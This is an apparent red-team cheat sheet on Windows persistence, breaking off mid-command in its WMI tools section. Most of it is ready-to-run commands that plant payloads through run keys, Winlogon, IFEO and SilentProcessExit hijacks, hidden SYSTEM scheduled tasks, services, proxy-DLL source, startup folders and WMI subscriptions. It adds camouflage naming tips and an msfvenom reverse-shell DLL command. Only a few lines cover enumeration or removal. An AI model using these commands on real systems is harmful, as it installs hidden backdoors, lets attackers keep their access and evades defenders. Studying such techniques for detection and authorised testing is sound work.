ᛉ Yggdrasil

Windows

Windows Persistence

15 Sep 2026 · 9,502 words · 43 min

Contents

Legend: [REG] = Registry-based | [SCHED] = Scheduled Task | [SVC] = Service-based | [FILE] = File system | [USER] = User account | [COM] = COM/WMI | [AD] = Active Directory | [BOOT] = Boot/BIOS level | [CRED] = Credential-based | [CMD] = Command/tool


1. Overview & Mindset

What is Persistence?

Persistence is the set of techniques used to maintain access to a compromised system across reboots, credential changes, and defensive actions — without requiring re-exploitation. Once initial access is obtained, persistence ensures continued access even if:

  • The exploited vulnerability gets patched
  • The user changes their password
  • The initial payload process is killed
  • The system reboots
  • A defender discovers and removes one persistence mechanism

The Persistence Mindset

PERSISTENCE PRINCIPLES:
────────────────────────────────────────────────────────────────────
1. REDUNDANCY   → Install multiple persistence mechanisms. If one fails or is
                  discovered, another survives.

2. STEALTH      → Blend in with legitimate system activity. Named services,
                  tasks, and registry keys should mimic real Windows components.

3. PRIVILEGE    → Persist at the highest privilege possible. SYSTEM-level
                  persistence survives user logouts and password changes.

4. TRIGGERING   → Choose the right trigger: boot, logon, schedule, event.
                  Boot/logon triggers are most reliable for sustained access.

5. CLEANUP      → Know what artifacts you create so you can remove them after
                  the engagement ends.

Persistence vs. Privilege Escalation

ATTACK FLOW:
────────────────────────────────────────────────────────────────────
Initial Access (foothold)
        │
        ├──► Situational Awareness (who am I, where am I, what's here?)
        │
        ├──► Privilege Escalation (Low User → Local Admin → SYSTEM)
        │
        ├──► Persistence Install (secure long-term access at obtained priv level)
        │
        ├──► Credential Harvesting (dump hashes, creds for lateral movement)
        │
        └──► Lateral Movement / Objectives

Persistence is typically installed after escalating privileges so that the persistent access has the highest possible privilege. However, low-privilege persistence may also be installed as a backup.

Persistence Privilege Tiers

TIER 1 — SYSTEM-level persistence
  Survives: reboots, user logouts, user password changes, user account deletion
  Examples: Services, boot-level tasks, WMI subscriptions running as SYSTEM

TIER 2 — Local Administrator-level persistence
  Survives: reboots, user logouts
  May fail if: admin account is deleted or disabled

TIER 3 — User-level persistence
  Survives: reboots (with user auto-login)
  Fails if: user logs out or password changes (for credential-based)
  Examples: HKCU run keys, user startup folder, user-level scheduled tasks

2. Persistence Classification & Decision Tree

Classification by Trigger

PERSISTENCE BY TRIGGER TYPE:
────────────────────────────────────────────────────────────────────
ON BOOT (before login):
  ├── Boot Sector / MBR implants
  ├── UEFI/EFI bootkit
  ├── System service (auto-start)
  └── Boot-time driver (kernel driver persistence)

ON LOGON (user logs in):
  ├── HKLM\...\Run / RunOnce keys
  ├── HKCU\...\Run / RunOnce keys
  ├── Startup folder (All Users or per-user)
  ├── Winlogon Userinit / Shell keys
  └── Logon-triggered scheduled task

ON SCHEDULE:
  ├── Scheduled Task (time-based, interval-based)
  └── WMI __TimerEvent subscription

ON EVENT:
  ├── WMI __EventFilter (process create, file create, network conn.)
  ├── Scheduled Task (on idle, on event log entry, on user connect)
  └── Debugger key hijack (runs on application crash/launch)

ON APPLICATION LAUNCH:
  ├── DLL hijacking (runs when target application starts)
  ├── COM object hijacking (runs when target COM object is instantiated)
  ├── AppInit DLLs (loads into every process using user32.dll)
  └── Image File Execution Options (IFEO) — debugger substitution

Persistence Decision Tree

┌────────────────────────────────────────────────────────────────────┐
│ PERSISTENCE DECISION TREE                                          │
│                                                                    │
│ What privilege level do I have?                                    │
│ │                                                                  │
│ ├── SYSTEM or Local Admin                                          │
│ │   ├──► Create a Windows Service (most reliable)                  │
│ │   ├──► HKLM Run Key (simple, common, often caught)               │
│ │   ├──► Scheduled Task as SYSTEM (very reliable + stealthy)       │
│ │   ├──► WMI Subscription (stealthy, fileless options)             │
│ │   ├──► DLL Hijacking (blend into legit apps)                     │
│ │   ├──► Golden/Silver Ticket (if DC access available)             │
│ │   └──► Create backdoor admin account                             │
│ │                                                                  │
│ ├── Standard User                                                  │
│ │   ├──► HKCU Run Key (survives reboot, user-level only)           │
│ │   ├──► User Startup Folder                                       │
│ │   ├──► User-level Scheduled Task                                 │
│ │   ├──► COM Object Hijacking (HKCU, no admin needed)              │
│ │   └──► User-level WMI (limited)                                  │
│ │                                                                  │
│ └── Domain Admin (Active Directory)                                │
│     ├──► Golden Ticket (krbtgt hash)                               │
│     ├──► Silver Ticket (service account hash)                      │
│     ├──► DCSync rights (ACL modification)                          │
│     ├──► AdminSDHolder abuse                                       │
│     ├──► DSRM account enable                                       │
│     └──► Skeleton Key (lsass patch)                                │
└────────────────────────────────────────────────────────────────────┘

3. Registry-Based Persistence

Registry run keys are the most common and simplest form of Windows persistence. They instruct Windows to run specified executables at logon or at boot.

3.1 Core Run Keys

KEY LOCATIONS (HKLM = requires admin, HKCU = user-level):
────────────────────────────────────────────────────────────────────

[HKLM - All Users, runs as the logging-in user, requires admin to write]
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce        ← deleted after first run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices    ← legacy, rarely used
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce

[HKCU - Current user only, no admin required]
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

[64-bit system, 32-bit application keys - Wow6432Node]
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

[Policy-enforced run keys — may override standard run key blocks]
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

3.2 Adding Run Key Persistence

:: ─── CMD — Add HKLM Run Key (requires admin) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ^
    /v "WindowsSecurityUpdate" /t REG_SZ ^
    /d "C:\Windows\Temp\payload.exe" /f

:: ─── CMD — Add HKCU Run Key (no admin needed) ───
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ^
    /v "OneDriveUpdater" /t REG_SZ ^
    /d "C:\Users\Public\update.exe" /f

:: ─── PowerShell — Add Run Key ───
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
    -Name "WindowsDefenderService" `
    -Value "C:\Windows\System32\payload.exe"

:: ─── PowerShell — HKCU ───
New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
    -Name "SyncEngine" -Value "C:\Users\Public\sync.exe" -PropertyType String -Force

:: ─── Encoded PowerShell command as run value ───
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ^
    /v "SystemSync" /t REG_SZ ^
    /d "powershell.exe -WindowStyle Hidden -EncodedCommand <BASE64>" /f

3.3 Winlogon Keys — High Privilege

The Winlogon process keys control what executes when a user logs in. Modifying Userinit or Shell keys allows code execution in the context of the logging-in user, with Winlogon running early in the logon sequence.

KEY: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Important values:
  Userinit   → Default: C:\Windows\system32\userinit.exe,
  Shell      → Default: explorer.exe
:: ─── Append to Userinit (comma-separated, original must remain!) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ^
    /v "Userinit" /t REG_SZ ^
    /d "C:\Windows\system32\userinit.exe,C:\Windows\Temp\payload.exe" /f

:: ─── Replace Shell (more obvious, but can be stealthy with proxy launcher) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ^
    /v "Shell" /t REG_SZ ^
    /d "explorer.exe, C:\Windows\Temp\payload.exe" /f

WARNING: If Userinit is set incorrectly (without the comma or missing the original path), the user logon will fail. Always append, never replace entirely.

3.4 Image File Execution Options (IFEO) — Debugger Hijack

IFEO lets you specify a debugger that is launched instead of a target executable. This is abused for persistence by setting a payload as the "debugger" for a commonly-used legitimate application. When that application is launched, your payload runs first.

KEY: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target.exe>
Value: Debugger = <path to payload>
:: ─── Set payload to run when notepad.exe is launched ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" ^
    /v "Debugger" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

:: ─── Target a commonly auto-launched process (runs on most user actions) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" ^
    /v "Debugger" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

:: ─── Trigger on error (e.g. WerFault.exe — Windows Error Reporting) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WerFault.exe" ^
    /v "Debugger" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

NOTE: The target executable will fail to launch normally unless your payload launches it as a child process. This is intentional for debugger mode but may create instability.

3.5 SilentProcessExit — Stealthy Alternative to IFEO

SilentProcessExit is a less-known sibling to IFEO that allows a "monitor" process to launch when a specified process exits. This is even more obscure than IFEO and evades detections that focus only on the Debugger key.

KEYS REQUIRED:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target.exe>
  → GlobalFlag = 0x200

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<target.exe>
  → MonitorProcess = <path to payload>
  → ReportingMode = 0x1
:: ─── Enable SilentProcessExit for notepad.exe ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" ^
    /v "GlobalFlag" /t REG_DWORD /d "512" /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" ^
    /v "ReportingMode" /t REG_DWORD /d "1" /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" ^
    /v "MonitorProcess" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

When notepad.exe exits, payload.exe is launched by WerFault.exe (Windows Error Reporting) as a monitor process.

3.6 BootExecute Key

The BootExecute key controls native applications that run before the Windows subsystem is fully initialized — this is early boot persistence.

KEY: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager
Value: BootExecute (REG_MULTI_SZ)
Default: autocheck autochk *
:: ─── View current BootExecute value ───
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v BootExecute

:: Adding a native application here requires the binary to be a native NT app
:: (uses NtCreateFile, NtWriteFile etc.) — not a standard Win32 EXE
:: This technique is advanced and typically used by rootkits/bootloaders

3.7 AppCertDLLs

Every process that calls CreateProcess will load DLLs specified in this key. This is loaded into every process creation.

KEY: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls" ^
    /v "SecurityAudit" /t REG_SZ /d "C:\Windows\System32\malicious.dll" /f

DLL must export a function called CreateProcessNotify. Requires SYSTEM or admin.


4. Scheduled Task Persistence

Scheduled tasks are extremely versatile for persistence — they support rich trigger options, can run as SYSTEM without interactive logon, and blend in with hundreds of legitimate Windows tasks.

4.1 Scheduled Task Trigger Types

TRIGGER TYPES:
────────────────────────────────────────────────────────────────────
OnBoot          → Runs when the system starts (SYSTEM context, no login needed)
OnLogon         → Runs when any (or specific) user logs in
Daily/Weekly    → Time-based execution
OnIdle          → Runs when system has been idle for N minutes
OnEvent         → Triggers on Windows Event Log entry (EventID-based)
OnSessionChange → User connect/disconnect/lock/unlock
RepetitionInterval → Runs repeatedly every N minutes after trigger

4.2 Creating Scheduled Tasks — CMD (schtasks)

:: ─── Basic — Run at system startup as SYSTEM (most reliable) ───
schtasks /create /sc ONSTART /tn "MicrosoftEdgeUpdate" ^
    /tr "C:\Windows\Temp\payload.exe" /ru SYSTEM /f

:: ─── Run at logon (runs as logged-in user) ───
schtasks /create /sc ONLOGON /tn "OneDriveSync" ^
    /tr "C:\Users\Public\payload.exe" /ru "%USERNAME%" /f

:: ─── Run every 5 minutes (interval-based, very persistent) ───
schtasks /create /sc MINUTE /mo 5 /tn "WindowsTelemetry" ^
    /tr "C:\Windows\Temp\payload.exe" /ru SYSTEM /f

:: ─── Run daily at a specific time ───
schtasks /create /sc DAILY /st 08:00 /tn "SystemHealthCheck" ^
    /tr "C:\Windows\Temp\payload.exe" /ru SYSTEM /f

:: ─── Run at logon for a specific user, hidden ───
schtasks /create /sc ONLOGON /tn "SyncUpdate" ^
    /tr "powershell.exe -WindowStyle Hidden -ep bypass -File C:\ProgramData\sync.ps1" ^
    /ru SYSTEM /delay 0000:30 /f

:: ─── Run on event (e.g., Event ID 4624 — Logon) ───
schtasks /create /tn "AuditCheck" /sc ONEVENT ^
    /EC Security /MO "*[System[EventID=4624]]" ^
    /tr "C:\Windows\Temp\payload.exe" /ru SYSTEM /f

:: ─── Run on idle ───
schtasks /create /sc ONIDLE /i 10 /tn "IdleTask" ^
    /tr "C:\Windows\Temp\payload.exe" /ru SYSTEM /f

4.3 Creating Scheduled Tasks — PowerShell (more control)

# ─── Full-featured PowerShell scheduled task (SYSTEM, on boot, hidden) ───
$Action  = New-ScheduledTaskAction -Execute "C:\Windows\Temp\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtStartup
$Settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries `
    -DontStopIfGoingOnBatteries -ExecutionTimeLimit (New-TimeSpan -Days 999)
$Principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" `
    -LogonType ServiceAccount -RunLevel Highest

Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
    -Action $Action -Trigger $Trigger -Settings $Settings `
    -Principal $Principal -Force

# ─── Repeat every 10 minutes (interval-based) ───
$Action  = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -NoProfile -EncodedCommand <BASE64>"
$Trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 10) `
    -Once -At (Get-Date)
Register-ScheduledTask -TaskName "WindowsNetworkSync" `
    -Action $Action -Trigger $Trigger -RunLevel Highest `
    -User "SYSTEM" -Force

# ─── Logon trigger for specific user ───
$Action  = New-ScheduledTaskAction -Execute "C:\Users\Public\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn -User "DOMAIN\TargetUser"
Register-ScheduledTask -TaskName "UserOneDriveHelper" `
    -Action $Action -Trigger $Trigger `
    -RunLevel Highest -Force

# ─── Delete a scheduled task ───
Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" -Confirm:$false

# ─── List all scheduled tasks (for enumeration) ───
Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } |
    Select-Object TaskName, TaskPath, State | Format-Table -AutoSize

4.4 Scheduled Task Hiding — COM Hijack of Task Scheduler

Task Scheduler stores tasks as XML files. You can modify or create XML directly in the task folder for fileless stealth:

Task XML Files Location:
C:\Windows\System32\Tasks\     ← System tasks
C:\Windows\SysWOW64\Tasks\     ← 32-bit tasks
:: ─── Export a legitimate task as template ───
schtasks /query /tn "MicrosoftEdgeUpdate" /xml > C:\Temp\task_template.xml

:: ─── Modify the Action node in the XML ───
:: Then import the modified task ───
schtasks /create /xml "C:\Temp\modified_task.xml" /tn "MicrosoftEdgeUpdate" /f

4.5 Scheduled Task Camouflage Tips

NAMING CONVENTIONS (blend in):
────────────────────────────────────────────────────────────────────
Place tasks under legitimate-looking paths:
  \Microsoft\Windows\WindowsUpdate\
  \Microsoft\Windows\Defrag\
  \Microsoft\Windows\DiskCleanup\
  \Microsoft\Office\

Use names that match existing tasks:
  MicrosoftEdgeUpdateTaskMachineCore
  GoogleUpdateTaskMachineCore
  OneDriveStandaloneUpdater
  SysmonLogfileArchive
  WindowsDefenderScheduledScan
# ─── Create task in a legitimate-looking path ───
$Action  = New-ScheduledTaskAction -Execute "C:\Windows\Temp\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskPath "\Microsoft\Windows\WindowsUpdate\" `
    -TaskName "InstallUpdates" -Action $Action -Trigger $Trigger `
    -User "SYSTEM" -RunLevel Highest -Force

5. Service-Based Persistence

Windows Services are among the most reliable persistence mechanisms. They run in the background, survive reboots, can run as SYSTEM without any user interaction, and blend in with hundreds of legitimate services.

5.1 Creating a New Service

:: ─── Create a service (sc.exe) ───
sc create "WindowsNetworkService" binPath= "C:\Windows\Temp\payload.exe" ^
    start= auto DisplayName= "Windows Network Service" type= own

:: ─── Start the service ───
sc start "WindowsNetworkService"

:: ─── Set service description (blend in) ───
sc description "WindowsNetworkService" "Provides network connectivity services."

:: ─── Set failure recovery — restart on failure (self-healing persistence!) ───
sc failure "WindowsNetworkService" reset= 0 actions= restart/60000/restart/60000/restart/60000

:: ─── Verify ───
sc query "WindowsNetworkService"
sc qc "WindowsNetworkService"
# ─── Create service via PowerShell ───
New-Service -Name "WindowsNetworkService" `
    -BinaryPathName "C:\Windows\Temp\payload.exe" `
    -DisplayName "Windows Network Service" `
    -Description "Provides network connectivity and diagnostics." `
    -StartupType Automatic

Start-Service "WindowsNetworkService"

# ─── Verify ───
Get-Service "WindowsNetworkService"

5.2 Service Binary Requirements

Windows service executables must implement the ServiceMain function and communicate with the Service Control Manager (SCM). A raw executable will fail with error 1053 (service did not respond in time) if it doesn't implement the service interface.

OPTIONS FOR SERVICE BINARIES:
────────────────────────────────────────────────────────────────────
1. True service binary (implements ServiceMain) — most stable
2. Use a wrapper: srvany.exe or sc.exe with "interact" flag
3. Use a scheduled task triggered by service start instead
4. PowerShell service wrapper (PSExec-style)
5. Use nssm.exe (Non-Sucking Service Manager) to wrap any exe as service
:: ─── Using NSSM to wrap any executable as a service ───
nssm.exe install "WindowsNetworkService" "C:\Windows\Temp\payload.exe"
nssm.exe set "WindowsNetworkService" Start SERVICE_AUTO_START
nssm.exe set "WindowsNetworkService" ObjectName LocalSystem
nssm.exe start "WindowsNetworkService"

:: ─── Using sc.exe to run a binary with arguments ───
sc create "WindowsNetworkService" ^
    binPath= "cmd.exe /c C:\Windows\Temp\payload.bat" ^
    start= auto type= own

5.3 Hijacking Existing Services

If you can modify an existing stopped/disabled service, this avoids creating new entries that stand out in service audits.

:: ─── Check writable services ───
accesschk64.exe -wuvc * /accepteula 2>nul | findstr /i "SERVICE_ALL_ACCESS\|SERVICE_CHANGE_CONFIG"

:: ─── Modify binary path of existing service ───
sc config "Spooler" binPath= "C:\Windows\Temp\payload.exe"

:: ─── Restore after testing ───
sc config "Spooler" binPath= "C:\Windows\System32\spoolsv.exe"

:: ─── Or use PowerShell ───
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Spooler" `
    -Name "ImagePath" -Value "C:\Windows\Temp\payload.exe"

5.4 Service Registry Key

Every service has a registry key. Directly editing this key is equivalent to using sc.exe but leaves different artifacts.

KEY: HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>

Critical Values:
  ImagePath   → REG_EXPAND_SZ → Path to service binary
  Start       → REG_DWORD     → 0=Boot, 1=System, 2=Auto, 3=Manual, 4=Disabled
  Type        → REG_DWORD     → 0x10=Own Process, 0x20=Share Process
  ObjectName  → REG_SZ        → LocalSystem, NT AUTHORITY\NetworkService, etc.
# ─── Create service via registry directly ───
$svcPath = "HKLM:\SYSTEM\CurrentControlSet\Services\WindowsNetworkService"
New-Item -Path $svcPath -Force
Set-ItemProperty -Path $svcPath -Name "ImagePath"   -Value "C:\Windows\Temp\payload.exe"
Set-ItemProperty -Path $svcPath -Name "Start"       -Value 2   # Auto
Set-ItemProperty -Path $svcPath -Name "Type"        -Value 0x10 # Own process
Set-ItemProperty -Path $svcPath -Name "ObjectName"  -Value "LocalSystem"
Set-ItemProperty -Path $svcPath -Name "DisplayName" -Value "Windows Network Service"
Set-ItemProperty -Path $svcPath -Name "Description" -Value "Manages network connectivity."

6. DLL Hijacking for Persistence

DLL hijacking for persistence works by placing a malicious DLL in a location that a legitimate application searches before the real DLL location. When the application auto-starts (via Run keys, services, or user logon), your DLL is loaded.

6.1 DLL Search Order

Windows searches for DLLs in this order (with SafeDllSearchMode enabled):

DLL SEARCH ORDER (default, SafeDllSearchMode ON):
────────────────────────────────────────────────────────────────────
1. DLLs already loaded in memory (KnownDLLs)
2. Application directory (same folder as the .exe)
3. System directory:   C:\Windows\System32\
4. 16-bit system dir:  C:\Windows\System\
5. Windows directory:  C:\Windows\
6. Current working directory
7. Directories in PATH environment variable (left to right)

With SafeDllSearchMode DISABLED (rare), the current directory moves to position 2, creating more hijack opportunities.

6.2 Finding DLL Hijacking Opportunities

# ─── Procmon (Sysinternals) — find DLL not found events ───
# Filter: Operation is "NAME NOT FOUND" AND Path ends with ".dll"
# Run Procmon while triggering the target application

# ─── PowerSploit - Find-PathDLLHijack ───
Import-Module .\PowerUp.ps1
Find-DLLHijack
Find-PathDLLHijack

# ─── SharpUp ───
.\SharpUp.exe HijackablePaths

# ─── Manual — check writable directories in PATH ───
$env:PATH -split ";" | ForEach-Object {
    if (Test-Path $_) {
        $acl = Get-Acl $_
        $acl.Access | Where-Object { 
            $_.FileSystemRights -match "Write" -and 
            $_.IdentityReference -match "Users|Everyone|Authenticated" 
        } | Select-Object @{n="Path";e={$_}}, IdentityReference, FileSystemRights
    }
}

6.3 Common DLL Hijacking Targets

HIGH-VALUE DLL HIJACKING TARGETS:
────────────────────────────────────────────────────────────────────
Application               Missing DLL              Notes
─────────────────────────────────────────────────────────────────
WinSCP                    uxtheme.dll             Auto-starts via task/shortcut
PuTTY                     CRYPTBASE.dll           Loads from app dir
TeamViewer                dbghelp.dll             Writable service directory
VMware Tools              vmtools.dll             Service, runs as SYSTEM
Microsoft Teams           VERSION.dll             User-level, on logon
OneDrive                  USERENV.dll             Logon autostart
WindowsApp (store apps)   varies                  UWP DLL search quirks
services.exe              varies                  SYSTEM level if writable path

6.4 Creating a Malicious DLL (Proxy DLL)

A proxy DLL exports all functions from the original DLL (to avoid breaking the application) and additionally runs malicious code.

// Minimal DLL for persistence (no function exports — causes app instability)
// For production use, create a proper proxy DLL
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    switch (fdwReason) {
        case DLL_PROCESS_ATTACH:
            // Payload executes when DLL is loaded by target process
            WinExec("cmd.exe /c C:\\Windows\\Temp\\payload.exe", SW_HIDE);
            break;
    }
    return TRUE;
}
# ─── Compile on Linux (cross-compile) ───
x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.c -lws2_32

# ─── Or use msfvenom ───
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 \
    -f dll -o malicious.dll

6.5 DLL Hijacking — Phantom DLL Hijacking

Phantom DLL hijacking targets DLLs that Windows tries to load but which don't exist on the system. You simply place your DLL at the expected path.

# ─── Find phantom DLL load attempts via Procmon ───
# Filter: Operation = NAME NOT FOUND, Path ends with .dll, Result = NAME NOT FOUND
# The target DLL does not exist — place your version there

# Common phantom DLLs:
# C:\Windows\System32\wbem\wbemcomn.dll  (WMI)
# C:\Windows\SysWOW64\wbem\wbemcomn.dll

7. Startup Folder & Autorun Persistence

Startup folders are simple and require no registry edits. They are easy to check and often cleaned by defenders, but still useful as a primary or backup mechanism.

7.1 Startup Folder Locations

STARTUP FOLDER PATHS:
────────────────────────────────────────────────────────────────────
All Users (requires admin):
  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
  %ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup\

Current User (no admin needed):
  C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
  %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
:: ─── Drop payload into All Users startup (requires admin) ───
copy C:\Windows\Temp\payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\WindowsUpdate.exe"

:: ─── Drop payload into current user startup ───
copy C:\Windows\Temp\payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDriveHelper.exe"

:: ─── Using a shortcut (.lnk) instead of the binary directly ───
:: (harder to detect by name-based searches since the .lnk can have a harmless name)
$WS = New-Object -ComObject WScript.Shell
$Shortcut = $WS.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\SyncEngine.lnk")
$Shortcut.TargetPath = "C:\Windows\Temp\payload.exe"
$Shortcut.Arguments  = "/silent"
$Shortcut.WindowStyle = 7  # Minimized
$Shortcut.Save()

7.2 Enumerate Startup Folders

# ─── List contents of all startup folders ───
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\"

# ─── PowerShell — auto enumerate both ───
$paths = @(
    "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp",
    "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
)
$paths | ForEach-Object {
    if (Test-Path $_) {
        Get-ChildItem $_ | Select-Object FullName, LastWriteTime
    }
}

8. WMI Subscription Persistence

WMI event subscriptions are one of the most powerful and stealthy persistence mechanisms. They operate independently of the registry Run keys and startup folders, survive reboots, and can be triggered by virtually any system event. Critically, WMI subscriptions persist in the WMI repository, not on the filesystem.

8.1 WMI Persistence Architecture

WMI SUBSCRIPTION COMPONENTS:
────────────────────────────────────────────────────────────────────
1. __EventFilter         → Defines WHEN to trigger (what event to watch)
2. __EventConsumer       → Defines WHAT to do (execute command, script, etc.)
3. __FilterToConsumerBinding → Links the filter to the consumer (activates it)
WMI REPOSITORY (where persistence lives):
  C:\Windows\System32\wbem\Repository\
  Files: OBJECTS.DATA, INDEX.BTR, INDEX.MAP, MAPPING*.MAP
  → Not easily inspected via standard file tools
  → Persists across reboots without any registry or file changes

8.2 WMI Persistence — PowerShell

# ─── WMI Persistence — Run on boot (most common approach) ───

# Step 1: Create the Event Filter (trigger = system boot)
$FilterArgs = @{
    Name           = "WindowsUpdateFilter"
    EventNamespace = "root\cimv2"
    QueryLanguage  = "WQL"
    Query          = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs

# Step 2: Create the Event Consumer (action = run command)
$ConsumerArgs = @{
    Name             = "WindowsUpdateConsumer"
    CommandLineTemplate = "C:\Windows\Temp\payload.exe"
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

# Step 3: Bind Filter to Consumer
$BindingArgs = @{
    Filter   = $Filter
    Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs

# ─── WMI Persistence — Trigger on user logon ───
$FilterArgs = @{
    Name           = "LogonFilter"
    EventNamespace = "root\cimv2"
    QueryLanguage  = "WQL"
    Query          = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType=2"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs

$ConsumerArgs = @{
    Name             = "LogonConsumer"
    CommandLineTemplate = "powershell.exe -WindowStyle Hidden -EncodedCommand <BASE64>"
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $Filter; Consumer = $Consumer
}

8.3 WMI Consumer Types

CONSUMER TYPES:
────────────────────────────────────────────────────────────────────
CommandLineEventConsumer    → Execute a command line
ActiveScriptEventConsumer   → Execute VBScript or JScript inline (fileless!)
LogFileEventConsumer        → Write to a log file (rarely useful for offense)
NTEventLogEventConsumer     → Write to Windows Event Log
SMTPEventConsumer           → Send email (rarely used)
# ─── ActiveScriptEventConsumer — Fileless WMI Persistence ───
$ScriptText = @"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell.exe -WindowStyle Hidden -EncodedCommand <BASE64>", 0, False
"@

$ConsumerArgs = @{
    Name              = "UpdateScriptConsumer"
    ScriptingEngine   = "VBScript"
    ScriptText        = $ScriptText
}
$Consumer = Set-WmiInstance -Namespace root\subscription `
    -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs

8.4 Enumerating WMI Subscriptions

# ─── List all WMI event filters ───
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
    Select-Object Name, Query | Format-List

# ─── List all WMI consumers ───
Get-WMIObject -Namespace root\subscription -Class __EventConsumer |
    Select-Object Name, CommandLineTemplate, ScriptText | Format-List

# ─── List all bindings ───
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding |
    Select-Object Filter, Consumer | Format-List

# ─── Remove WMI persistence ───
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
    Where-Object { $_.Name -eq "WindowsUpdateFilter" } | Remove-WmiObject

Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer |
    Where-Object { $_.Name -eq "WindowsUpdateConsumer" } | Remove-WmiObject

Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding |
    Remove-WmiObject

8.5 Tools for WMI Persistence

# ─── PowerLurk — WMI persistence framework ───
Import-Module .\PowerLurk.ps1
Register-MaliciousWmiEvent -EventName "WindowsUpdate" `
